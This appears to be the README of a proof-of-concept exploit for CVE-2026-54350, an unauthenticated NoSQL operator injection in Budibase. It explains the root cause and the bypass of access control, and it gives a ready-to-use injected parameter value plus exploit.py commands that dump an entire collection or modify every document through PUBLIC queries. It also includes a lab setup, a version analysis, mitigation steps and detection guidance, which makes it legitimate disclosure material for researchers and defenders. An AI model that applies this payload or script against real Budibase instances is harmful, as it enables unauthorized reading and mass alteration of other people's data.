
PoC for CVE-2026-54350 — Budibase unauthenticated NoSQL operator injection (CVSS 10.0). Read/mass-write any document collection via a PUBLIC query.
Unauthenticated JSON/NoSQL operator injection in Budibase. Any anonymous visitor of a published Budibase app that exposes a PUBLIC query backed by a document datasource (MongoDB, CouchDB, Elasticsearch, DynamoDB-PartiQL, or REST with a JSON body) can read every document of the backing collection and, if a public write query exists, modify every document — with a single unauthenticated HTTP request.
| CVE | CVE-2026-54350 |
| Advisory | GHSA-8qv3-p479-cj62 |
| CVSS 3.1 | 10.0 — AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N |
| CWE | CWE-943 (Improper Neutralization of Special Elements in a Data Query), CWE-89 |
| Auth | None (unauthenticated) |
| Affected | Budibase <= 3.39.0 (vendor advisory range) |
| Fixed | 3.39.12 per NVD; the injected quotes are already neutralized from 3.39.1, and the explicit fix (processJsonStringSync) lands in 3.39.9 |
| Verdict | CONFIRMED — reproduced end-to-end on 3.39.0 |
When executing a query, Budibase enriches the user parameters into the query's
raw JSON body with Handlebars, then JSON.parses the result:
enrichContext() packages/server/src/sdk/workspace/queries/queries.ts
enrichedQuery.json = processStringSync('{"name":"{{ name }}"}', { name: <user> }, { noEscaping: true })
enrichedQuery.json = JSON.parse(enrichedQuery.json)
On affected builds the parameter is interpolated without JSON-escaping, so a
value containing a " closes the intended string and injects sibling keys into
the parsed object. The only input filter, validateQueryInputs()
(api/controllers/query/index.ts), rejects only Handlebars markers
({{, }}) — it does not touch ", \, } or $.
For a MongoDB find, the parsed object is passed straight to
collection.find() (integrations/mongodb.ts). A duplicate name key whose
value is an operator object wins the JSON.parse merge, turning a string
equality into {$exists: true} and returning the whole collection. The same
primitive against an updateMany query widens the filter to every document.
Access control is bypassed because authorized()
(middleware/authorized.ts:141) short-circuits with return next() when the
query's resource role is PUBLIC, skipping both session auth and CSRF. The
x-budibase-app-id header needed to reach the query is public — it is part of
every published-app URL.
See ANALYSIS.md for the full code-level walkthrough and the
version-boundary investigation.
Query body template (as configured in the builder):
{"name":"{{ name }}"}
Injected value for the name parameter:
zzz","name":{"$exists":true},"$comment":"cve-2026-54350
After interpolation and JSON.parse (duplicate-key merge, last wins):
{ "name": { "$exists": true }, "$comment": "cve-2026-54350" }
$comment is an inert MongoDB meta-operator that absorbs the template's
trailing "} so the whole body stays valid JSON.
exploit.py — Python 3 standard library only, no dependencies.
# Dump the whole collection through a PUBLIC read (find) query
python3 exploit.py --url http://target --app-id app_<published> \
--query-id query_<...> --mode read
# Modify every document through a PUBLIC updateMany query
python3 exploit.py --url http://target --app-id app_<published> \
--query-id query_<...> --mode write
--app-id and --query-id are public values observed in the published app's
own API traffic. --field overrides the JSON key the parameter is bound to
(defaults to --param).
Requires Docker. This lab uses --network host (no bridge network assumed) and
mongo:4.4 (the host has no AVX; MongoDB 5.0+ requires it).
bash lab/setup.sh
# prints PROD_APP_ID / READ_QUERY / UPDATE_QUERY, then:
python3 exploit.py --url http://127.0.0.1 --app-id <PROD_APP_ID> \
--query-id <READ_QUERY> --mode read
lab/provision.py drives only legitimate builder APIs — it does not weaken any
default. Marking a query's access role PUBLIC is a first-class builder feature
(published apps expose data through exactly this mechanism). Full captured run
in EVIDENCE.txt.
NVD lists the affected range as < 3.39.12. Empirically the bare-quote vector
is only exploitable on <= 3.39.0, which is exactly the range the vendor's
GHSA advisory states. From 3.39.1 the templating layer already escapes the
injected quotes (verified: the same request against 3.39.8 is neutralized),
and 3.39.9 introduces the explicit processJsonStringSync fix. This PoC
therefore targets 3.39.0, the latest release inside the vendor's affected
range.
>= 3.39.12, or at minimum >= 3.39.9
where processJsonStringSync JSON-escapes interpolated parameters).PUBLIC; restrict them
to authenticated roles where possible.Look for POST /api/v2/queries/<id> requests, from unauthenticated sessions,
whose parameters values contain a " followed by a $-prefixed MongoDB
operator ($exists, $ne, $gt, $where, $regex, ...) or a duplicate JSON
key. On MongoDB, enable profiling and alert when a query parameter that is
normally a string arrives as an object.
Research and PoC by Caio Fabrício (@BiiTts).